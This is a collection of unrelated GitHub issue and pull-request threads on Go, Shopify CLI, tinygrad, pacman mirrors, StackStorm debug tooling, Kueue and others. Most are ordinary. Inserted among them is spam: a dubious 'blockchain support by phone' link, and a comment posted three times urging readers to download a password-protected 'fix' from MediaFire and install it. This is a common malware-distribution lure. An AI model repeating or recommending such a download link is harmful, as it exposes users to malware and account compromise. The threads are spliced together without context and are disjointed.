Add support for custom DialContext on http.Transport

This supports uses cases such as load testing a unix socket.
The implementation is a bit odd because there are attacker options for
tweaking settings on the standard *net.Dialer, however setting a custom
DialContext means those settings will be ignored. Conversely, setting
*net.Dialer options will cause the custom DialContext to be overwritten.

To reveal some motivation for this change, I'm looking into load testing an Envoy ("service mesh") setup, where I have microservices proxy outbound traffic through a sidecar Envoy over a unix socket.
The HTTP stack in go requires the scheme to be "http" or "https", and as I understand always uses the TCP stack, so you have to specify a custom DialContext. There wasn't a way to do this in vegeta, so I attempted to add it.
The implementation is a bit clumsy because there are some options which tweak settings on a *net.Dialer and then set the dial function on the transport from that *net.Dialer, which will overwrite the custom DialContext.

Vegeta was written before context.Context became a thing. Could there be a change that would satisfy your needs but would integrate context.Context in a more structured approach?
I imagine we could change the defaults sanely from a simple Dial to a DialContext and also expose a functional option to set the parent context of each request.
In regards to your particular need, would you please share a code snippet of what you're trying to do with the unix domain sockets? Thanks!


https://www.makuu.org/forum/questions-answers/how-do-i-contact-blockchain-support-by-phone-contact-blockchain-support-by-phone

Aka.ms link name
https://www.makuu.org/forum/questions-answers/how-do-i-contact-blockchain-support-by-phone-contact-blockchain-support-by-phone
Category (Optional. Select None to auto-select)
None

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Help! Can't get decent performance on Java

Hi, I've been trying for a bunch of weeks, to compile a nice and clean implementation, but always stuck on memory issues using JDK. Damn, I just tried a lot of other options and the final no code would be like this
Code:
Error:
Has anyone tried that before?

try this:

try this:

That worked for me, Thanks

try this:

That worked for me, Thanks

SLTM

try this:

That worked for me, Thanks

SLTM


feat: frontend dojo typing update

Updates the types of the NPCs linked to what's in the smart contracts at the moment.
Also introduces the query in the NpcContext to get the npcs of the Realm :)
Closes #29 #24

Need #38 to be merged first


[Feature]: Flag to disable request log output in theme dev

What area(s) will this request affect?
Theme
What type of change do you want to see?
New feature
Overview
It'd be great to have a flag to disable the request log output that happens when running shopify theme dev.
Motivation
I’m using concurrently to run both vite and shopify theme dev together. I often need to check the vite output, which frequently gets buried under all the request logs. I've looked at --help and didn't find any way to disable it.

Came here to ask about this. The useful links to the local preview and dev editor are so far back in the list of GET requests that they are inaccessible in VSCode.
The app CLI looks like it's got some config options around the "logging level":
https://github.com/Shopify/shopify_app/blob/main/docs/shopify_app/logging.md
Something like that would be good to mute the GETs

+1


Rider's "Run on Save" doesn't detect an auto-save from builds, etc

Environments

IDE Version: Rider 2023.3.3
Extension Version: 1.6.1
CSharpier Version:  0.25.0
Operating System: macOS
.csharpierrc Settings: { "printWidth": 200 }
.editorconfig Settings:

Log Output
Steps to reproduce

Make a formatting change to a file
Build the solution or project without saving first

Expected behavior
csharpier should run on any auto-saved files
Actual behavior
csharpier doesn't recognize that a file was saved

This has caused me some grief when doing renaming/find replacing across files and I never thought to dig into it more. Turns out it was straightforward to respond to all reasons for a document being saved. Thanks for reporting it!
Will be fixed with 1.6.4 when jetbrains approves it, usually takes a day or two.


Limit the number of kernel buffers

If I'm not mistaken, the only place where the AST optimization adds buffers to a kernel is when two BinaryOps get merged. So adding a check here and not doing the merge in case it would exceed the buffer threshold should prevent kernels with too many buffers to be created.
I'm not sure how the limit should be defined. For now I've just made it an environment variable which defaults to 30 on Metal and to 256 on any other backend.
This fixes #1121 on my machine and also https://github.com/tinygrad/tinygrad/issues/953#issuecomment-1584562667 executes quickly.

Should probably check # of unique RawBuffers rather than the number of LazyBuffers, since we will have some RawBuffer dedup soon #1141.

Is it possible to have this done through the linearizer? Different runtimes will have different limits/ways of checking the limit.
Something similar to, limit_global_dims in linearizer where the codegen can specify a limit to number of bufs per kernel.

Changes made in tinygrad/:
------------------------------------------------------------
files                             insertions       deletions
------------------------------------------------------------
tinygrad/lazy.py                           9               3
------------------------------------------------------------
lines added in the tinygrad folder: 6

By the time you are in Linearizer it's too late. This has to be in lazy.py
Can we get buffer deduping working first then check if this is still a problem?

actually since lazy knows the device being used can use that to fetch a new field from device on the limits, but yeah after the dedup can check to see if its still a problem

Closing, I think there's a one liner for this.


Xcode9 Build failed ['exception' file not found String.h]

on Xcode9
react-native-fcm": "^10.0.1"
try to build on iPhone Device with iOS 11

I have the same issue

looks like compile config issue. Can you reproduce with the example project?

yes, I've continuous with this project after a while and my solutions is re-install 'react-native-fcm' module, re-link it and fix all file that show error.
(PS. sorry for late answer, if you haven figured out your problem yet ask me to show you my full solutions )

cool closing this as original issue is solved

I'm having the exact same issue here, even reinstalling and relinking react-native-fcm.


Created Demonstration Directory

Created the Demonstration directory and added the required files.
Sign-off by: Mayur Gupta<EMAIL_ADDRESS>

@TechWriter-Mayur , can you address the requests here please?

Closing this.


fix 3222 via fp_type

The original fix relied on filenames, which meant that every new file (which depends on the plugins) needed to be added. This PR does the same but via the fp_type, which should substantially should reduce the need of adding new names.

coverage: 92.929% (-0.003%) from 92.932% when pulling 83dbc5f2d00c549d9f6310f3b0056d4ed23fb3ac on antgonza:fix-3222-fp_type into a4b6fcb0248bbb26577dabb09ebd2513dc6afe8f on qiita-spots:dev.


Mirrorlist misread from host

Trying to use a downstream program called aurto to host a local build server to deal with the woes of a less-than-superb internet connection and also build weightier programs that my laptop cannot handle too well for building and remove the song-and-dance of scping files over.
Included to prevent downloading when not necessary is a Flexo cache server configured to a known working Manjaro mirror that my desktop is configured to.
However, my host's mirrorlist is being misinterpreted so http://cache-server.local/custom_repo/manjaro/stable/$repo/$arch becomes http://cache-server.local/custom_repo/manjaro/stable/extra/x86_64 which won't work when asking for packages and according to the maintainer for aurto they are not doing anything that would change the mirrorlist and suggested I post an issue here.
This is my vain attempt to fix and show the command I'm using, but not painfully exhaustive as the attached log is.
~$ cat /var/lib/aurbuild/x86_64/root/etc/pacman.d/mirrorlist
Server = http://cache-server.local/custom_repo/manjaro/stable/extra/x86_64
~$ cat /etc/pacman.d/mirrorlist
# Home server
Server = http://cache-server.local/custom_repo/manjaro/stable/$repo/$arch
~$ sudo cp {,/var/lib/aurbuild/x86_64/root}/etc/pacman.d/mirrorlist
~$ export AUR_DEBUG=1
~$ aurto add vscodium
[Debug output...]
Running aur chroot --create --makepkg-conf /etc/aurto/makepkg-chroot.conf --pacman-conf /etc/aurto/pacman-chroot.conf
Running aur chroot --update --makepkg-conf /etc/aurto/makepkg-chroot.conf --pacman-conf /etc/aurto/pacman-chroot.conf
:: Synchronizing package databases...
 core.db failed to download
error: failed retrieving file 'core.db' from cache-server.local : The requested URL returned error: 404
error: failed to synchronize all databases (failed to retrieve some files)
~$ cat /var/lib/aurbuild/x86_64/root/etc/pacman.d/mirrorlist
Server = http://cache-server.local/custom_repo/manjaro/stable/extra/x86_64

mirror-misread.log
Source of Issue

I can only support distributions that I know the tooling of - that does not include Manjaro. You'll probably want to reproduce this with Manjaro's version of devtools, and ask them for support.

@jarrodsfarrell Are you using the devtools-git AUR package to get the build to advance to this point?  I'm having similar issues when using aur sync --chroot build calls and haven't determined yet what the appropriate path forward is if using the manjaro-tools package instead as it seems to be missing items from the devtools package.

I may have a stopgap solution, I have specified the Server= value a bit differently into my pacman-custom.conf file.  I'm not sure why this is needed, perhaps Manjaro is doing something differently here?  Additionally, I'm using the AUR package devtools-git which conflicts with manjaro-tools (this could cause issues with some things that depend on manjaro versioning in the build tools, unsure on the significance of this).   Here is what I have that seems to allow me to proceed with a --chroot build:
#
# /etc/aurutils/pacman-custom.conf
#
# See the pacman.conf(5) manpage for option and repository directives

#
# GENERAL OPTIONS
#
[options]
# The following paths are commented out with their default values listed.
# If you wish to use different paths, uncomment and update the paths.
#RootDir     = /
#DBPath      = /var/lib/pacman/
#CacheDir    = /var/cache/pacman/pkg/
#LogFile     = /var/log/pacman.log
#GPGDir      = /etc/pacman.d/gnupg/
#HookDir     = /etc/pacman.d/hooks/
HoldPkg     = pacman glibc
# If upgrades are available for these packages they will be asked for first
SyncFirst    = manjaro-system archlinux-keyring manjaro-keyring
#XferCommand = /usr/bin/curl -L -C - -f -o %o %u
#XferCommand = /usr/bin/wget --passive-ftp -c -O %o %u
#CleanMethod = KeepInstalled
#UseDelta    = 0.7
Architecture = auto

# Pacman won't upgrade packages listed in IgnorePkg and members of IgnoreGroup
#IgnorePkg   =
#IgnoreGroup =

#NoUpgrade   =
#NoExtract   =

# Misc options
#UseSyslog
#Color
#NoProgressBar
# We cannot check disk space from within a chroot environment
#CheckSpace
#VerbosePkgLists
#ParallelDownloads = 5

# By default, pacman accepts packages signed by keys that its local keyring
# trusts (see pacman-key and its man page), as well as unsigned packages.
SigLevel    = Required DatabaseOptional
LocalFileSigLevel = Optional
#RemoteFileSigLevel = Required

# NOTE: You must run `pacman-key --init` before first using pacman; the local
# keyring can then be populated with the keys of all official Manjaro Linux
# packagers with `pacman-key --populate archlinux manjaro`.

#
# REPOSITORIES
#   - can be defined here or included from another file
#   - pacman will search repositories in the order defined here
#   - local/custom mirrors can be added here or in separate files
#   - repositories listed first will take precedence when packages
#     have identical names, regardless of version number
#   - URLs will have $repo replaced by the name of the current repo
#   - URLs will have $arch replaced by the name of the architecture
#
# Repository entries are of the format:
#       [repo-name]
#       Server = ServerName
#       Include = IncludePath
#
# The header [repo-name] is crucial - it must be present and
# uncommented to enable the repo.
#

# The testing repositories are disabled by default. To enable, uncomment the
# repo name header and Include lines. You can add preferred servers immediately
# after the header, and they will be used before the default mirrors.

[core]
Server = http://mirrors.manjaro.org/repo/stable/core/$arch
SigLevel = PackageRequired
#Include = /etc/pacman.d/mirrorlist

[extra]
Server = http://mirrors.manjaro.org/repo/stable/extra/$arch
SigLevel = PackageRequired
Include = /etc/pacman.d/mirrorlist

[community]
Server = http://mirrors.manjaro.org/repo/stable/community/$arch
SigLevel = PackageRequired
Include = /etc/pacman.d/mirrorlist

# If you want to run 32 bit applications on your x86_64 system,
# enable the multilib repositories as required here.

[multilib]
Server = http://mirrors.manjaro.org/repo/stable/multilib/$arch
SigLevel = PackageRequired
Include = /etc/pacman.d/mirrorlist

# An example of a custom package repository.  See the pacman manpage for
# tips on creating your own repositories.
#[custom]
#SigLevel = Optional TrustAll
#Server = file:///home/custompkgs


Expose context in %Kazan.Server

I'm currently playing around with Kazan and I find it very pleasant to use, thank you for working on it!
I find myself switching between two contexts at the moment, and realised that it would be nice to have context exposed on the server to see that the current server I'm working with is in the correct context.

Thank you!


More logging

Okay, I'm totally confused why there is some problem... For some reason it still includes the old fixes... Weren't they already merged?
Known issue:
Query strategy is always uncertainty sampling. I don't think this behavior is changed with this pull request.

I think that worked...

Yes, the squash isn't pretty :(. I made a bit of a mess in the commits, so I'll just promise to do better next time..

It's all about the code, not about the commits ;)

I think that does it for all the changes that needed to be made.


POA duplicate nominees

It is possible to nominate the same address twice, which messes things up.
The same is probably true of evictees as well.

Recompiling the master contract with solc version 0.5.11 I cannot reproduce thus behaviour. The generated bytecode.go file does have differences in the generated bytecode. I will investigate further, but if the contract can be shown to be working with a more current compiler version, I would be minded to set the pragma in solidity to the working version or higher.

Creating duplicate nominees is no longer possible but there is another problem.
A whitelist member cannot vote for the same nominee in different ballots.
Ex:
Alice is a nominee
Bob votes for her ( yes or no, doesn't matter)
Alice's application is rejected ( someone voted no ) - she gets ejected from the nominee list
Alice gets nominated again
Bob tries to vote for her again ----> BREAKS

Fixed in 4cd2afd8a36bb9de3dbf914ab5e9394600542f52 in develop. Will be promoted to master in the release later today.


Landing page urls are still http when behind a proxy using SSL

Instances of stac-fastAPI running using HTTP behind a secure proxy still get the base URL with HTTP.
Need a way to force HTTPS URLs when running behind a secure proxy.

Hi @rsmith013,
I have used the FORWARDED_ALLOW_IPS environment variable from uvicorn: https://www.uvicorn.org/settings/#http

--forwarded-allow-ips Comma separated list of IPs to trust with proxy headers. Defaults to the $FORWARDED_ALLOW_IPS environment variable if available, or '<IP_ADDRESS>'. A wildcard '*' means always trust.

Don't know if there is a better way. At least it worked for me.
Best
Jonas

Had the same issue (https://github.com/stac-utils/stac-fastapi/issues/261#issuecomment-940925210) and FORWARDED_ALLOW_IPS solved it, too.

that has worked. Thanks


Background bot run?

Hi there,
First al all let me tell you that I love you 100% for what you're doing regarding the bot, you make me feel like a child again. Back in the days i was level 99 on a Gamespace server doing only baal runs with my friends.
My kindly question for you, can you please think of a way to somehow minimize the bot or let it run in the background leting you use the pc? For me this is the biggest problem and i tried to sort it out with a vm but failed.
Really wait for your feedback
Thanks,
Vlad

Hi, this will only work with vms or cloud computing. Please move your questions to the discord channel as github issues are used for bugs only (as you already did).


VSCode [Insiders]: Javascript/TypeScript React IntelliSense not working

jsconfig.json
{
  "compilerOptions": {
    "baseUrl": "src",
    "target": "es2017",
    "allowSyntheticDefaultImports": true
  },
  "exclude": ["node_modules"]
}

VSCode Version: 1.35.0-insider (2019-05-31T21:19:51.263Z)
OS Version: macOS 10.13.6

Steps to Reproduce:

Use any VSCode
Try add any React lifecycle methods on React class component

Does this issue occur when all extensions are disabled?: Yes
Does this issue occur on Stable release?: Yes
Does this issue occur when using TypeScript?: Yes (just tested)
Tried solution

npm i @types/react -D
import * as React from 'react' // insteadof import React from 'react'
Resetting VSCode
Clean reinstall project packages

Tested on TS-3.6.0-dev.20190603
Repo steps

npm i @types/react react
In a js file:

import * as React from 'react';

class MyComponent extends React.PureComponent {
    static propTypes = {

	};

}

Trigger suggestions in the class body after the propTypes declaration

Expected
We get suggestions for the methods/props from PureComponent
Actually
We only get a suggestion for contextType:

Any news?

Tested with TS 4.0 nightly and TS 3.7.5. Both seem fixed:


netutils/ftpc: ftpc_connect: Fixed invalid socket close.

Summary
I fixed a problem where ftpc would close stdin (0).
ftpc_connect()
zero fill SESSION structure (cmd, data, dacceptor socket is zero)
and connect cmd socket.
ftpc_login()
execute login sequence on cmd socket.
ftpc_getfile() / ftpc_putfile()
connect data socket (PASV).
transfer data on data socket.
close socket. (descriptor set to -1)
ftpc_quit()
close all socket.
close cmd socket (OK).
close data socket (-1, so it'll be EBADF, it's OK).
close dacceptor socket (zero is stdin, stdin will be closed).
By setting the socket descriptor to -1 initially, stdin will not be closed.
Impact
Testing
I tested my local app, on Spresense.

The build fix here: https://github.com/apache/incubator-nuttx/pull/4051


Make scroll offset uncontrollable in favor of ref methods

Changes based on discussion from https://github.com/bvaughn/react-virtualized/issues/999.
Summary of changes:

Grid component

Make Grid uncontrollable, rename scrollTop/scrollLeft props defaultScrollTop/defaultScrollLeft (only to be used on mount)
Limit scrollTop and scrollLeft to maximum possible values state update in scrollToPosition method(prevents issues when calling scrollToPosition multiple times with larger than max)
Update tests and docs

MultiGrid component

Remove scrollLeft and scrollTop from state
Remove getDerivedStateFromProps and state handling code componentDidMount
Update all _onScroll methods to use scrollToPosition for syncing
Add scrollToPosition method (pass-thru that calls of the main scrolling grid which is _bottomRightGrid)
Update tests and docs

List component

Make List uncontrollable, rename scrollTop to (only to be used on mount)
Update tests and docs

Table component

Make Table uncontrollable, rename scrollTop to defaultScrollTop (only to be used on mount)
Update tests and docs

ScrollSync component

Add flow types
Add registerChild to children render function parameters
Implement _registerChild to store refs on scrollable children
Call scrollToPosition on children refs in _onScroll handler sync them
Update tests, docs and example

WindowScroller component

Update flow types
Rename existing registerChild method to registerChildContainer
Add registerChild to children render function parameters
Implement _registerChild to store ref on scrollable child
Call scrollToPosition on child ref in _handleWindowScrollEvent
handler
Update tests, docs and example

Thanks for contributing to react-virtualized!
Before submitting a pull request, please complete the following checklist:

[x] The existing test suites (npm test) all pass
[x] For any new features or bug fixes, both positive and negative test cases have been added
[x] For any new features, documentation has been added
[x] For any documentation changes, the text has been proofread and is clear to both experienced users and beginners.
[x] Format your code with prettier (npm run prettier).
[x] Run the Flow typechecks (npm run typecheck).

Here is a short checklist of additional things to keep in mind before submitting:

Please make sure your pull request description makes it very clear what you're trying to accomplish. If it's a bug fix, please also provide a failing test case (if possible). In either case, please add additional unit test coverage for your changes. :)
Be sure you have notifications setup so that you'll see my code review responses. (I may ask you to make some adjustments before merging.)

@somi92 Thanks for doing this! I'll take some time soon to thoroughly review this and test.

@wuweiweiwu Thanks! I'm a bit short on time for a couple of days but will respond to your remarks by Tuesday.

@somi92 No problem! Take your time :)
Your effort on this has been very much appreciated

Codecov Report

Merging #1320 into master will decrease coverage by 0.26%.
The diff coverage is 95.23%.

@@            Coverage Diff             @@
##           master    #1320      +/-   ##
==========================================
- Coverage    94.7%   94.44%   -0.27%
==========================================
  Files          47       47
  Lines        1795     1800       +5
==========================================
  Hits         1700     1700
- Misses         95      100       +5

Impacted Files
Coverage Δ

source/List/List.js
78.37% <ø> (ø)
:arrow_up:

source/Table/Table.js
90.35% <ø> (+1.75%)
:arrow_up:

source/Grid/Grid.js
95.09% <100%> (-0.06%)
:arrow_down:

source/WindowScroller/WindowScroller.js
92.94% <100%> (-5.8%)
:arrow_down:

source/ScrollSync/ScrollSync.js
100% <100%> (ø)
:arrow_up:

source/MultiGrid/MultiGrid.js
96.07% <90.47%> (-1.06%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7304ec6...02bf29a. Read the comment docs.


Unused makefile definitions

Hi, first of all thanks for this awesome resource. I just had a look at the chapter 2 makefile and I noticed  there are two variable definitions that are never used in any of the rules:
##List of all header files
HEADERS = $(SRC:.c=.h)

##For every .c file, compile an .o object file
OBJ = $(SRC:.c=.o)

Probably remnants from an earlier version?

Heya,
I finally got around to re-writing (minor bits of) the Makefile, and it's much more "normal" now.
All better.


Start using golang.org/x/xerrors instead of raw return err

Is your feature request related to a problem? Please describe.

I think logging is slowly starting to get messy in the codebase; I'm especially suspicious of code blocks like below:
if err != nil {
    log.Error(err, "...<some message>...", "foo", bar)
    return err
}

As much as I understand the value of structured logs, I'm especially vary of the "naked" return err. This isn't a good practice in Go, in part because it loses information for tracking the details of the problem at intermediate steps, when the error finally surfaces somewhere higher.
Describe the solution you'd like

I suggest using https://golang.org/x/xerrors package, and through its Errorf function, adding helpful context information when returning an error, instead of a raw return err.
Describe alternatives you've considered

I considered also removing log.Error calls; but I think those can be still useful for getting information in a more structured way (JSON), better for bulk log analysis than the format used in xerrors.
What version of eunomia are you using?
eunomia version: 0.0.4 / dev
Additional context

I'll let myself attach a blog post about go logging here. It's about log levels - I came across it while looking for a way to set a warning level in a log message. After reading it I decided not to do so.

@sbar95 Can you help me understand what specific ideas / arguments you want to convey through this link, with regards to the particular issue that's being discussed here?

Just wanted to state that coming from background other than golang I was surprised by the way error handling is done here (just errors and info). Also, it discusses code snippet very similar to that you posted and says why it's bad practice. As your issue concerns good practice in go I thought the link might be helpful. Though, it might be too general for this issue.

@sbar95 This is an interesting article; however, I'd like to keep this issue laser-focused on a much smaller and simpler matter: of using xerrors. If you would like to discuss the way how logging is done in eunomia, I'd be grateful if you could open a new separate issue. I understand now that I miswrote this issue a bit, unnecessarily mentioning logging; I will try to edit it to make my intentions more clear. Thanks!

I think we can look into using xerrors after the v0.1.0 release.


Show platformProvider in the deployment details page

What would you like to be added:
Why is this needed:

Has anyone done it yet?
@khanhtc1202 can you assign this issue to me pls 😁😁


submit_debug_info.py enhancements

Addressed the requirements needed for the story PXPSE - 420 : provide wrapper script for st2.

The intent of this pull request is to allow submit_debug_info.pl to be customized for specific deployments (Plexxi's as an example :-) by loading a set of overrides from a YAML file. The following config options can now be specified:

log_file_paths - an additional set of log files to gather
conf_file_paths - an additional set of config files to gather
s3_bucket - the S3 bucket to upload the archive to
gpg - gpg key and fingerprint to use when encrypting the archive
shell_commands - a list of shell commands to execute and capture the output from
company_name - the company name to show in the interactive prompts and log messages

Here's a sample config file:
---
log_file_paths:
    st2_log_files_path: /var/log/st2/*.log
    mistral_log_files_path: /var/log/mistral*.log
    rabbitmq_log_files_path: /var/log/rabbitmq/*
    message_files_path: /var/log/messages*
    salt_log_files_path: /var/log/*salt.log
    mongodb_log_files_path: /var/log/mongod/*
    nginx_log_files_path: /var/log/nginx/*
    yum_log_files_path: /var/log/yum.log
conf_file_paths:
    st2_config_file_path: /etc/st2/st2.conf
    mistral_config_file_path: /etc/mistral/mistral.conf
s3_bucket:
    url: https://st2debuginfo.s3.amazonaws.com/
gpg:
    gpg_key_fingerprint: BDE989A1F308B18D29789C717064B11C82F62D6F
    gpg_key: |
          -----BEGIN PGP PUBLIC KEY BLOCK-----
          Version: GnuPG v1

          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
          =asEc
          -----END PGP PUBLIC KEY BLOCK-----
shell_commands:
    cmd1: rpm -qa
company_name:
    name: Plexxi

The default behavior remains unchanged.

Thanks for the PR.
I do agree and think that in general that's a good idea (allowing users to submit debug information to a custom location), but it's also worth noting that there are some caveats with uploading files to S3 bucket though - this bucket needs a special policy (write for everyone read only from the bucket owners) and the bucket creation and policy configuration is not publicly documented right now.
The file is encrypted using a public key so someone could say that an option also is making bucket word readable, but I would personally advise against doing that :)
As far as actual code changes go - I will look into them later.

Yeah...we're still working on getting our S3 bucket properly configured. :-)
We'll fix the CI issue's we introduced.

Yeah...we're still working on getting our S3 bucket properly configured. :-)

For testing you could use world readable and writable bucket :)
Here is an excerpt from our private wiki, but yeah, ideally this should really be automated.

https://gist.github.com/Kami/8ea9d544ffe53c3c1396
https://gist.github.com/Kami/7986a003ce916fe1c256

(The SNS part is actually not needed in your case - we used it to get notified when a new file is uploaded)

https://stackstorm.slack.com/archives/stackstorm/p1452025779020008

I believe this is ready for review. Test issues resolved.

Great, thanks. I will have a look later today or tomorrow.

Thanks again.
I've added some comments.
In addition to that, it would also be good to do those things:

Tests - there are already some tests in st2debug/tests/{unit,integration} so please see those for examples.
Some documentation on how to use this feature and an example config. For now example config can simply be part of the test fixtures.

@valarmathip One thing I noticed when I was running some scripts is that you do not have your name set in git config. If you could please fix that, I'd appreciate it.

@lakshmi-kannan,  I have configured my username and email in git config. Thanks.

Test failure looks legit ...
======================================================================
FAIL: test_create_archive_include_all_with_config_option (tests.integration.test_submit_debug_info.SubmitDebugInfoTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/travis/build/StackStorm/st2/st2debug/tests/integration/test_submit_debug_info.py", line 156, in test_create_archive_include_all_with_config_option
    self.assertTrue(len(log_files), 2)
AssertionError: 0 is not true : 2

@manasdk, there is currently a config file here st2debug/tests/integration/fixtures/submit-debug-info.yaml that was causing the test to fail. It has hardcoded paths in it. Is this ok? Or should this config file get generated to avoid paths like /home/travis/build/StackStorm/st2/st2debug/tests/integration/fixtures/logs/st2*.log when this isn't run in Travis?

@manasdk @Kami  This and the associated doc changes (https://github.com/StackStorm/st2docs/pull/52) are ready for review.

Tested locally with and without a config file and works as expected.
Merging change.
@andrew-regan Appreciate the change!

Thanks! Sorry for the delay!


JobSet fails to create when MultiKueue enabled and ClusterQueue does not exist

What happened:
When MultiKueue is enabled, and clusterQueue does not exist, then the JobSet creation is rejected.
This is inconsistent with other Job CRDs.
What you expected to happen:
The JobSet gets created.
How to reproduce it (as minimally and precisely as possible):
0: Install JobSet and Kueue

Enable the MultiKueue feature gate.
Create a LocalQueue, but without Cluster Queue
Create a JobSet pointing to the Local Queue
Issue: JobSet creation fails with error similar to this:

Error from server (Forbidden): error when creating "jobset.yaml": admission webhook "mjobset.kb.io" denied the request: queue doesn't exist
Anything else we need to know?:
Here is the code. It should not fail when the cluster queue does not exist.
Tested on Kueue 0.7.0. It has been noticed when working on https://github.com/kubernetes-sigs/kueue/pull/2401

/assign @vladikkuzn


autoPlayReverse not working. autoPlay does.

Describe the bug
autoPlayReverse not working. autoPlay does.
To Reproduce
Steps to reproduce the behavior:
